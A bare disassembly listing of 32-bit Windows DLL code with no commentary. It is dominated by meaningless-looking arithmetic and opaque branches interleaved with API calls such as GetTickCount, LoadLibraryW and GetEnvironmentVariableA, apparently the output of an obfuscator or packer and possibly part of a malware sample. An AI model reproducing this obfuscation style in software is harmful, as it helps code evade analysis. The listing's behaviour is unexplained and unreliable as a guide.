push 0x1b
movzx ax, byte [0x1004a0bb]
movzx ecx, ax
push ecx
push 0
call fcn.10024c40
add esp, 0x1c
movzx eax, ax
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x38]
or edx, dword [ebp - 0x34]
je 0x10007b3e
mov eax, dword [str.CredentialProvider]
mov dword [ebp - 0x540], eax
mov ecx, dword [0x1003b2a8]
mov dword [ebp - 0x53c], ecx
mov edx, dword [0x1003b2ac]
mov dword [ebp - 0x538], edx
mov eax, dword [0x1003b2b0]
mov dword [ebp - 0x534], eax
mov cx, word [0x1003b2b4]
mov word [ebp - 0x530], cx
mov dl, byte [0x1003b2b6]
mov byte [ebp - 0x52e], dl
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x3c], eax
jmp 0x10007b49
movzx ecx, word [ebp - 8]
sub ecx, 1
mov word [ebp - 0xc], cx
mov edx, dword [ebp - 0xb8]
add edx, 0x14
mov dword [ebp - 0xbc], edx
movzx eax, byte [ebp - 2]
cdq
mov ecx, dword [0x1004a0d8]
mov esi, dword [0x1004a0dc]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], edx
mov dword [ebp - 0x460], ecx
mov dword [ebp - 0x45c], esi
mov edx, dword [ebp - 0x458]
cmp edx, dword [ebp - 0x460]
jne 0x10007b9d
mov eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0x45c]
je 0x10007ba9
mov dword [ebp - 0x1a8], 1
jmp 0x10007bb3
mov dword [ebp - 0x1a8], 0
movzx ecx, byte [ebp - 2]
cmp ecx, 0x3e
je 0x10007bc8
mov dword [ebp - 0x1ac], 1
jmp 0x10007bd2
mov dword [ebp - 0x1ac], 0
mov edx, dword [ebp - 0x1a8]
cmp edx, dword [ebp - 0x1ac]
jg 0x10007cb1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
ja 0x10007c08
mov eax, dword [0x1004a17c]
add eax, 0xb17fffb
mov word [0x1004a124], ax
jmp 0x10007caf
mov ecx, dword [0x1004a0f8]
mov edx, dword [0x1004a0fc]
mov dword [ebp - 0x468], ecx
mov dword [ebp - 0x464], edx
mov eax, dword [ebp - 0x468]
or eax, dword [ebp - 0x464]
je 0x10007c49
movsx ecx, byte [str.address_family_not]
mov edx, dword [0x1004a178]
lea eax, [ecx + edx + 0x222c75c1]
mov byte [str.address_family_not], al
jmp 0x10007caf
movzx ecx, word [ebp - 0x20]
mov edx, dword [ebp - 0x24]
not edx
cmp ecx, edx
jbe 0x10007c99
movzx eax, byte [ebp - 2]
test eax, eax
je 0x10007c78
mov ecx, dword [0x1004a0e0]
mov edx, dword [0x1004a0e4]
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x240], edx
jmp 0x10007c8b
mov eax, dword [0x1004a154]
xor ecx, ecx
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], ecx
mov edx, dword [ebp - 0x244]
mov dword [0x1004a0c8], edx
jmp 0x10007caf
mov eax, 0x921
test eax, eax
je 0x10007caf
movzx ecx, word [ebp - 8]
add ecx, 0x54
mov byte [0x1004a0bb], cl
jmp 0x10007d0b
movzx edx, byte [ebp - 2]
cmp dword [ebp - 0x68], edx
jg 0x10007cd0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
sub eax, 0x2041
sbb ecx, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
jmp 0x10007d0b
mov edx, dword [ebp - 0x24]
xor eax, eax
mov ecx, dword [0x1004a0e0]
mov esi, dword [0x1004a0e4]
push esi
push ecx
push eax
push edx
call fcn.1002e960
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0x18]
cdq
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x288], esi
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], edx
mov ecx, dword [ebp - 0xb8]
add ecx, 0x2e21
mov dword [ebp - 0x2c0], ecx
cmp dword [0x1004a14c], 0
je 0x10007d40
push 0x1003b2b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
mov dword [0x1004a0d0], eax
mov dword [0x1004a0d4], edx
jmp 0x10007d62
mov eax, 1
mov word [0x1004a120], ax
mov ecx, dword [ebp - 0x50]
sub ecx, 0xf0b9
xor edx, edx
mov dword [0x1004a188], ecx
mov dword [0x1004a18c], edx
mov eax, 0x96b0
mov word [0x1004a150], ax
movzx ecx, word [0x1004a150]
movsx edx, byte [ebp - 1]
add edx, 1
cmp ecx, edx
jne 0x10007e06
movzx eax, byte [0x1004a056]
imul ecx, eax, 0
movsx edx, byte [0x1004a017]
sub ecx, edx
movzx eax, word [ebp - 0xc]
mov edx, dword [0x1004a148]
not edx
add eax, edx
movzx edx, word [ebp - 0x20]
movzx esi, byte [ebp - 3]
xor edx, esi
not edx
sub eax, edx
or ecx, eax
mov dword [ebp - 0x68], ecx
xor eax, eax
mov dword [0x1004a0e8], 0xd6f0
mov dword [0x1004a0ec], eax
cmp dword [0x1004a140], 1
jne 0x10007e06
mov ecx, dword [0x1004a0e8]
sub ecx, 1
mov edx, dword [0x1004a0ec]
sbb edx, 0
mov dword [0x1004a0e8], ecx
mov dword [0x1004a0ec], edx
jmp 0x10007e06
mov ecx, 0x96b0
mov word [0x1004a150], cx
movsx eax, byte [ebp - 1]
cdq
mov esi, eax
mov edi, edx
mov edx, dword [0x1004a0e0]
mov eax, dword [0x1004a0e4]
push 0
push 0x2d
push eax
push edx
call fcn.1002e960
add esi, eax
adc edi, edx
mov ebx, dword [0x1004a0e0]
mov eax, dword [0x1004a0e4]
sub ebx, 0xb46dc6a0
sbb eax, 0x8383b
movsx ecx, word [ebp - 0x18]
mov dword [ebp - 0x2b8], eax
mov eax, ecx
cdq
mov ecx, dword [0x1004a180]
mov dword [ebp - 0x2bc], esi
mov esi, dword [0x1004a184]
push edx
push eax
push esi
push ecx
call fcn.1002e960
add ebx, eax
mov esi, dword [ebp - 0x2b8]
adc esi, edx
not ebx
not esi
push esi
push ebx
push edi
mov esi, dword [ebp - 0x2bc]
push esi
call fcn.1002e960
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], edx
mov edx, dword [ebp - 0x478]
or edx, dword [ebp - 0x474]
jne 0x10007ebe
xor eax, eax
mov dword [ebp - 0x24c], 1
mov dword [ebp - 0x248], eax
jmp 0x10007ec9
xorps xmm0, xmm0
movlpd qword [ebp - 0x24c], xmm0
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ebp - 0x248]
mov dword [0x1004a0f8], ecx
mov dword [0x1004a0fc], edx
mov eax, dword [ebp - 0x60]
add eax, 0x3f3f9cbc
xor ecx, ecx
mov dword [0x1004a180], eax
mov dword [0x1004a184], ecx
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x598], edx
add ecx, 0x24
movzx eax, word [ebp - 0xc]
cdq
add eax, ecx
mov word [ebp - 0xc], ax
mov eax, dword [0x1004a190]
add eax, dword [ebp - 0x5c]
mov ecx, dword [0x1004a190]
add ecx, eax
mov dword [0x1004a190], ecx
mov edx, dword [ebp - 0xbc]
imul edx, dword [ebp - 0x2c0]
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0xbc]
add edx, eax
xor edx, 0x39a2c
mov dword [ebp - 0x27c], edx
movzx ecx, word [ebp - 0x48]
mov edx, dword [ebp - 0x6c]
cmp ecx, dword [edx + 0x14]
jae 0x10008707
mov byte [0x1004a03f], 0x84
movzx eax, byte [0x1004a056]
movsx ecx, word [ebp - 0x14]
add ecx, 0xf8
cmp eax, ecx
jne 0x100080e0
movsx edx, word [ebp - 0x18]
mov eax, dword [0x1004a190]
add eax, edx
cmp eax, 1
jne 0x100080e0
mov ecx, dword [0x1004a104]
cmp dword [ebp - 0x54], ecx
je 0x10007fa8
mov dword [ebp - 0x1f4], 1
jmp 0x10007fb2
mov dword [ebp - 0x1f4], 0
cmp dword [ebp - 0x54], 0x42
je 0x10007fc4
mov dword [ebp - 0x1b4], 1
jmp 0x10007fce
mov dword [ebp - 0x1b4], 0
mov edx, dword [ebp - 0x1f4]
cmp edx, dword [ebp - 0x1b4]
jne 0x100080d4
mov eax, dword [0x1004a160]
mov ecx, dword [0x1004a164]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x488], edx
mov dword [ebp - 0x484], esi
mov eax, dword [ebp - 0x47c]
cmp eax, dword [ebp - 0x484]
ja 0x10008033
jb 0x10008027
mov ecx, dword [ebp - 0x480]
cmp ecx, dword [ebp - 0x488]
jae 0x10008033
mov dword [ebp - 0x1b8], 1
jmp 0x1000803d
mov dword [ebp - 0x1b8], 0
mov edx, dword [0x1004a160]
mov eax, dword [0x1004a164]
mov dword [ebp - 0x490], edx
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0
ja 0x10008074
jb 0x10008068
cmp dword [ebp - 0x490], 0x5b
jae 0x10008074
mov dword [ebp - 0x1bc], 1
jmp 0x1000807e
mov dword [ebp - 0x1bc], 0
mov ecx, dword [ebp - 0x1b8]
cmp ecx, dword [ebp - 0x1bc]
jg 0x1000809b
mov edx, dword [ebp - 0x54]
imul edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x24], edx
jmp 0x100080d4
movsx eax, byte [0x1004a03f]
cmp eax, dword [0x1004a140]
jge 0x100080d4
mov eax, dword [0x1004a0e0]
mov edx, dword [0x1004a0e4]
mov cl, 7
call fcn.1002e9f0
mov word [ebp - 0x1c], ax
movsx ecx, byte [0x1004a092]
movsx edx, word [ebp - 0x18]
imul ecx, edx
mov byte [0x1004a092], cl
jmp 0x10007f5d
movzx eax, byte [ebp - 3]
shl eax, 2
mov word [0x1004a100], ax
movzx ecx, word [ebp - 0xc]
movzx edx, byte [ebp - 3]
add ecx, edx
movzx eax, word [ebp - 0xc]
add eax, ecx
mov word [ebp - 0xc], ax
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0xc4]
add edx, 0x14a
mov dword [ebp - 0x59c], edx
mov dword [ebp - 0xc0], 0x5c
xor eax, eax
mov dword [0x1004a188], 0x5e
mov dword [0x1004a18c], eax
mov ecx, dword [0x1004a160]
mov edx, dword [0x1004a164]
mov dword [ebp - 0x5a0], edx
sub ecx, 0xf6
mov dword [ebp - 0x3c], ecx
movsx eax, byte [0x1004a03f]
movzx ecx, word [0x1004a0cc]
imul eax, ecx
movsx edx, byte [0x1004a03f]
add edx, eax
mov byte [0x1004a03f], dl
mov eax, dword [ebp - 0xc0]
add eax, 1
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x68a
jl 0x10008155
mov ecx, dword [ebp - 0xc4]
add ecx, 0x3b3
mov dword [ebp - 0x1c4], ecx
lea edx, [ebp - 0x86c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov byte [ebp - 2], al
movzx eax, byte [ebp - 2]
test eax, eax
je 0x10008220
movzx ecx, byte [0x1004a056]
test ecx, ecx
je 0x10008200
movsx edx, byte [0x1004a017]
test edx, edx
je 0x100081df
mov ax, word [ebp - 0x20]
mov word [ebp - 0x7a], ax
jmp 0x100081e7
mov cx, word [ebp - 0x10]
mov word [ebp - 0x7a], cx
movzx eax, word [ebp - 0x7a]
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
xor edx, edx
mov dword [ebp - 0x38], 0x2b
mov dword [ebp - 0x34], edx
jmp 0x1000821b
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1000821b
mov dword [ebp - 0x3c], 2
mov ecx, 0x22
mov word [0x1004a120], cx
jmp 0x100082ac
mov edx, dword [ebp - 0x24]
not edx
cmp edx, dword [ebp - 0x24]
je 0x1000824f
mov eax, dword [0x1004a15c]
cdq
mov ecx, eax
add ecx, 0xd034b990
movsx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
mov dx, word [ebp - 0x18]
mov byte [0x1004a03f], dl
jmp 0x100082ac
cmp dword [0x1004a17c], 0
je 0x10008294
movzx eax, word [ebp - 0x20]
cdq
mov ecx, dword [ebp - 0x58]
push ecx
mov ecx, dword [ebp - 0x5c]
push ecx
push edx
push eax
call fcn.1002e960
mov byte [0x1004a093], al
movzx eax, word [ebp - 0x20]
cdq
mov ecx, dword [0x1004a0f8]
mov esi, dword [0x1004a0fc]
add ecx, eax
adc esi, edx
mov dword [0x1004a0f8], ecx
mov dword [0x1004a0fc], esi
jmp 0x100082ac
cmp dword [ebp - 0x3c], 7
jge 0x100082ac
mov edx, dword [ebp - 0x54]
movsx eax, word [ebp - 0x14]
lea ecx, [eax + edx - 0x83ff]
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0xc4]
add edx, 0x206
mov dword [ebp - 0x2c4], edx
mov byte [0x1004a03f], 0xe1
movsx eax, byte [0x1004a03f]
movsx ecx, word [ebp - 0x18]
add ecx, 1
cmp eax, ecx
jne 0x10008564
movzx edx, word [ebp - 0xc]
test edx, edx
je 0x100082e5
jmp 0x100082ff
mov eax, dword [ebp - 0x24]
sub eax, 0x7691
xor ecx, ecx
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x40]
sub edx, eax
sbb esi, ecx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], esi
mov eax, dword [0x1004a0e0]
mov ecx, dword [0x1004a0e4]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
cmp dword [ebp - 0x498], 1
jne 0x10008564
cmp dword [ebp - 0x494], 0
jne 0x10008564
push 0
push 0
push 0x1003b2cc
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10008502
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4a0], edx
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x4a0]
or ecx, dword [ebp - 0x49c]
je 0x10008383
movsx edx, byte [0x1004a03e]
test edx, edx
je 0x10008383
mov dword [ebp - 0x1c0], 1
jmp 0x1000838d
mov dword [ebp - 0x1c0], 0
mov eax, dword [ebp - 0x30]
not eax
movsx ecx, word [ebp - 0x14]
sub eax, ecx
cmp eax, dword [ebp - 0x1c0]
jge 0x10008463
movsx edx, word [ebp - 0x18]
test edx, edx
jne 0x100083c0
xor eax, eax
mov dword [ebp - 0x254], 1
mov dword [ebp - 0x250], eax
jmp 0x100083cb
xorps xmm0, xmm0
movlpd qword [ebp - 0x254], xmm0
cmp dword [ebp - 0x30], 0
jne 0x100083e5
xor ecx, ecx
mov dword [ebp - 0x25c], 1
mov dword [ebp - 0x258], ecx
jmp 0x100083f0
xorps xmm0, xmm0
movlpd qword [ebp - 0x25c], xmm0
movsx edx, word [ebp - 0x1c]
mov eax, dword [0x1004a104]
add eax, edx
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
sub edx, dword [ebp - 0x254]
sbb esi, dword [ebp - 0x250]
push esi
push edx
push ecx
push eax
call fcn.1002e960
mov ecx, dword [0x1004a0e8]
xor ecx, dword [ebp - 0x25c]
mov esi, dword [0x1004a0ec]
xor esi, dword [ebp - 0x258]
mov edi, dword [0x1004a164]
add ecx, dword [0x1004a160]
adc esi, edi
sub eax, ecx
sbb edx, esi
mov dword [0x1004a108], eax
mov dword [0x1004a10c], edx
movzx edx, byte [ebp - 3]
movzx eax, word [ebp - 8]
xor edx, eax
mov word [0x1004a124], dx
jmp 0x10008500
mov ecx, dword [0x1004a0d8]
mov edx, dword [0x1004a0dc]
mov eax, dword [0x1004a17c]
xor esi, esi
mov dword [ebp - 0x4a8], ecx
mov dword [ebp - 0x4a4], edx
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], esi
mov ecx, dword [ebp - 0x4a4]
cmp ecx, dword [ebp - 0x4ac]
jg 0x10008500
jl 0x100084ac
mov edx, dword [ebp - 0x4a8]
cmp edx, dword [ebp - 0x4b0]
ja 0x10008500
movsx eax, byte [0x1004a092]
cdq
mov ecx, dword [0x1004a168]
mov esi, dword [0x1004a16c]
push edx
push eax
push esi
push ecx
call fcn.1002e960
mov ecx, dword [0x1004a168]
mov esi, dword [0x1004a16c]
sub ecx, eax
sbb esi, edx
mov dword [0x1004a168], ecx
mov dword [0x1004a16c], esi
mov edx, dword [ebp - 0x60]
xor eax, eax
sub edx, 0x2cfa2bdf
sbb eax, 0xf24a
mov dword [0x1004a168], edx
mov dword [0x1004a16c], eax
jmp 0x10008526
movsx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10008526
mov edx, dword [0x1004a160]
mov eax, dword [0x1004a164]
sub edx, 1
sbb eax, 0
mov dword [0x1004a160], edx
mov dword [0x1004a164], eax
jmp 0x10008564
mov byte [0x1004a03f], 0xe1
movzx eax, word [ebp - 0x20]
and eax, 0x6d45a35f
cdq
mov dword [0x1004a118], eax
mov dword [0x1004a11c], edx
mov eax, dword [ebp - 0x1c4]
sub eax, 0x25a
mov ecx, 0x1ed
sub ecx, dword [ebp - 0x1c4]
or eax, ecx
cmp dword [ebp - 0x2c4], eax
je 0x10008702
movzx edx, word [ebp - 0x48]
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + edx*4]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xd8], ecx
push 0
push 0
mov edx, dword [0x1004a16c]
push edx
mov eax, dword [0x1004a168]
push eax
push 0
push 0
push 0
push 0xd9
push 0
push 0
call fcn.100243a0
add esp, 0x28
mov dword [0x1004a14c], eax
cmp dword [0x1004a14c], 0
je 0x10008647
mov dword [ebp - 0xc8], 0x62
movsx eax, byte [0x1004a03f]
add eax, 0x77
cdq
mov ecx, eax
movsx eax, byte [0x1004a093]
not eax
cdq
xor eax, 0x7d7072
add ecx, eax
mov dword [ebp - 0x4c], ecx
mov edx, dword [0x1004ac78]
mov dword [0x1004a158], edx
mov eax, dword [ebp - 0xc8]
add eax, 1
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x517
jl 0x1000861b
jmp 0x100086f0
cmp dword [0x1004a190], 0
jne 0x100086f0
mov ecx, dword [ebp - 0x38]
or ecx, dword [ebp - 0x34]
je 0x100086f0
movzx edx, word [ebp - 0x20]
test edx, edx
je 0x100086f0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov edx, dword [ebp - 0x4b8]
or edx, dword [ebp - 0x4b4]
jne 0x10008698
mov dword [ebp - 0x1c8], 1
jmp 0x100086a2
mov dword [ebp - 0x1c8], 0
movzx eax, word [ebp - 0xc]
not eax
add eax, dword [ebp - 0x1c8]
not eax
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [0x1004a120]
cdq
mov edi, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x40]
sub edi, eax
sbb ebx, edx
push ebx
push edi
push esi
push ecx
call fcn.1002e960
mov ecx, dword [0x1004a0d8]
mov esi, dword [0x1004a0dc]
push esi
push ecx
push edx
push eax
call fcn.1002e960
mov dword [0x1004a188], eax
mov dword [0x1004a18c], edx
movzx edx, word [ebp - 0x48]
mov eax, dword [ebp - 0x2cc]
mov cx, word [eax + edx*2]
mov word [ebp - 0x70], cx
jmp 0x10008d79
movsx edx, byte [str.address_family_not]
cmp dword [ebp - 0x4c], edx
je 0x1000872b
push 0x1003b2d4
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x100087f0
movzx edx, word [ebp - 0x20]
movzx eax, byte [0x1004a056]
cmp edx, eax
jle 0x10008746
mov dword [ebp - 0x1cc], 1
jmp 0x10008750
mov dword [ebp - 0x1cc], 0
mov ecx, dword [0x1004a158]
not ecx
cmp ecx, dword [ebp - 0x1cc]
jb 0x100087f0
mov edx, dword [ebp - 0x50]
add edx, 0x57
xor eax, eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], eax
mov eax, dword [0x1004a148]
cdq
push edx
push eax
mov ecx, dword [0x1004a0d4]
push ecx
mov edx, dword [0x1004a0d0]
push edx
call fcn.1002e960
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x4c0]
or eax, dword [ebp - 0x4bc]
jne 0x100087bb
xor ecx, ecx
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x4c4], ecx
jmp 0x100087c6
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c8], xmm0
mov edx, dword [0x1004a158]
xor eax, eax
push eax
push edx
mov ecx, dword [0x1004a13c]
push ecx
mov edx, dword [str.J64_]
push edx
call fcn.1002e960
not eax
add eax, dword [ebp - 0x4c8]
mov byte [0x1004a06b], al
mov dword [0x1004a154], 0x37d07db2
mov eax, dword [0x1004a0c0]
mov ecx, dword [0x1004a0c4]
movsx edx, word [ebp - 0x18]
mov esi, dword [0x1004a154]
add esi, edx
xor edx, edx
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x4d8], esi
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x4d8]
jne 0x100088c9
mov ecx, dword [ebp - 0x4cc]
cmp ecx, dword [ebp - 0x4d4]
jne 0x100088c9
mov edx, dword [0x1004a0d8]
mov eax, dword [0x1004a0dc]
mov dword [ebp - 0x5a4], eax
mov dword [0x1004a14c], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
add ecx, 0x21
adc edx, 0
mov dword [ebp - 0x4e0], ecx
mov dword [ebp - 0x4dc], edx
mov eax, dword [0x1004a0e8]
cmp eax, dword [ebp - 0x4e0]
jne 0x100088c9
mov ecx, dword [0x1004a0ec]
cmp ecx, dword [ebp - 0x4dc]
jne 0x100088c9
movzx edx, word [ebp - 0x10]
mov eax, dword [ebp - 0x54]
sub eax, edx
mov dword [ebp - 0x54], eax
mov cl, byte [0x1004ac78]
mov byte [ebp - 3], cl
jmp 0x100087f0
movzx ecx, byte [0x1004a06b]
sub ecx, 0x4e45f0b5
mov word [ebp - 0x20], cx
mov edx, dword [0x1004ac78]
mov dword [ebp - 0xe0], edx
movzx eax, word [0x1004a0cc]
test eax, eax
jne 0x100088fd
mov dword [ebp - 0x1d0], 1
jmp 0x10008907
mov dword [ebp - 0x1d0], 0
imul ecx, dword [0x1004a178], 0x3ed4dd9a
cmp ecx, dword [ebp - 0x1d0]
jb 0x10008925
mov dword [ebp - 0x1d8], 1
jmp 0x1000892f
mov dword [ebp - 0x1d8], 0
movsx edx, word [ebp - 0x18]
cmp edx, 0x4f
jne 0x10008944
mov dword [ebp - 0x1d4], 1
jmp 0x1000894e
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x1d4]
not eax
sub eax, dword [0x1004a158]
not eax
cmp dword [ebp - 0x1d8], eax
jb 0x10008a86
mov dword [ebp - 0x50], 1
movzx ecx, byte [0x1004a056]
and ecx, 0x2d
mov word [0x1004a0f0], cx
mov edx, dword [0x1004a130]
mov eax, dword [0x1004a134]
mov dword [ebp - 0x4e8], edx
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e8]
or ecx, dword [ebp - 0x4e4]
jne 0x100089bb
xor edx, edx
mov dword [ebp - 0x264], 1
mov dword [ebp - 0x260], edx
jmp 0x100089c6
xorps xmm0, xmm0
movlpd qword [ebp - 0x264], xmm0
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x34]
sbb ecx, dword [ebp - 0x260]
push 0
push 0xc235
push ecx
push eax
call fcn.1002e960
mov esi, eax
mov edi, edx
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x30]
cdq
mov ecx, dword [ebp - 0x54]
xor ebx, ebx
mov dword [ebp - 0x2d0], esi
mov esi, dword [ebp - 0x40]
add ecx, dword [ebp - 0x44]
adc ebx, esi
not ecx
not ebx
push ebx
push ecx
push edx
push eax
call fcn.1002e960
push edx
push eax
push edi
mov esi, dword [ebp - 0x2d0]
push esi
call fcn.1002e960
mov dword [0x1004a140], eax
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x1dc], edx
cmp dword [ebp - 0x1dc], 0
je 0x10008a42
cmp dword [ebp - 0x1dc], 1
je 0x10008a4e
jmp 0x10008a84
mov dword [0x1004a158], 0xa43a
jmp 0x10008a84
movzx eax, byte [0x1004a0bc]
movsx ecx, word [ebp - 0x1c]
sub eax, ecx
movzx edx, byte [0x1004a0bc]
xor edx, eax
mov byte [0x1004a0bc], dl
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [0x1004a170]
sub ecx, eax
mov eax, dword [0x1004a174]
sbb eax, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], eax
jmp 0x10008ac6
movsx ecx, byte [str.address_family_not]
test ecx, ecx
je 0x10008ac6
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
push 0xddd83
push 0x1d3f81a9
push eax
push edx
call fcn.1002e960
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x24]
xor edx, edx
push 0x258cc
push 0x949728b4
push edx
push ecx
call fcn.1002e960
mov dword [0x1004a158], eax
mov eax, dword [ebp - 0xe0]
add eax, 0x29d5
mov dword [ebp - 0x5a8], eax
mov ecx, 9
mov esi, str.Navigation_on_prog
lea edi, [ebp - 0x664]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x664]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cdq
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0xe0]
add edx, 0xabb2
mov dword [ebp - 0x2d4], edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4f8], edx
mov dword [ebp - 0x4f4], esi
mov eax, dword [ebp - 0x4ec]
cmp eax, dword [ebp - 0x4f4]
jl 0x10008b54
jg 0x10008b52
mov ecx, dword [ebp - 0x4f0]
cmp ecx, dword [ebp - 0x4f8]
jb 0x10008b54
jmp 0x10008b82
cmp dword [ebp - 0x3c], 0
jne 0x10008b66
mov dword [ebp - 0x1e0], 1
jmp 0x10008b70
mov dword [ebp - 0x1e0], 0
mov edx, dword [0x1004a128]
or edx, dword [ebp - 0x1e0]
mov dword [0x1004a104], edx
mov eax, dword [ebp - 0xe0]
add eax, 0xcd31
mov dword [ebp - 0x1e8], eax
push 0
push 0x1003b300
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [0x1004a190], eax
cmp dword [0x1004a190], 0
jae 0x10008c3b
push 0x75
movzx ecx, byte [ebp - 0x20]
push ecx
mov edx, dword [0x1004a168]
mov eax, dword [0x1004a16c]
mov dword [ebp - 0x5ac], eax
movzx ecx, dl
push ecx
movzx edx, byte [0x1004a170]
push edx
push 0xffffffffffffffd7
call fcn.100248f0
add esp, 0x14
cbw
mov word [0x1004a124], ax
movzx ecx, word [0x1004a124]
test ecx, ecx
je 0x10008bf7
jmp 0x10008c39
movsx edx, byte [str.address_family_not]
test edx, edx
jne 0x10008c0e
mov dword [ebp - 0x1e4], 1
jmp 0x10008c18
mov dword [ebp - 0x1e4], 0
movzx eax, byte [0x1004a06b]
add eax, dword [ebp - 0x1e4]
mov byte [ebp - 1], al
movzx ecx, word [ebp - 0xc]
movzx edx, byte [0x1004a0ba]
add ecx, edx
mov word [ebp - 0x14], cx
jmp 0x10008c87
movzx eax, word [ebp - 8]
test eax, eax
je 0x10008c6c
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x500], ecx
mov dword [ebp - 0x4fc], edx
mov eax, dword [ebp - 0x500]
or eax, dword [ebp - 0x4fc]
je 0x10008c6c
mov dword [ebp - 0x4c], 0xd2
jmp 0x10008c87
cmp dword [ebp - 0x54], 0
je 0x10008c87
movzx ecx, word [0x1004a150]
imul ecx, dword [0x1004a14c]
mov word [0x1004a150], cx
mov edx, dword [ebp - 0x1e8]
add edx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x2d4]
xor eax, 0x17
xor edx, eax
sub edx, 0x131c7
mov dword [ebp - 0x5b0], edx
movsx ecx, byte [0x1004a093]
movzx edx, word [ebp - 8]
add ecx, edx
movsx eax, byte [0x1004a093]
add eax, ecx
mov byte [0x1004a093], al
mov ecx, dword [0x1004ac78]
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0xd0]
add edx, 0xef
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0x68]
sar eax, 7
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x2d8]
add ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x278], ecx
mov edx, 2
imul eax, edx, 0x1145
mov cx, word [ebp - 8]
mov word [eax + 0x101b53f0], cx
mov edx, dword [ebp - 0xd0]
add edx, 0x55
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x1ec]
sub ecx, dword [ebp - 0xd4]
add eax, ecx
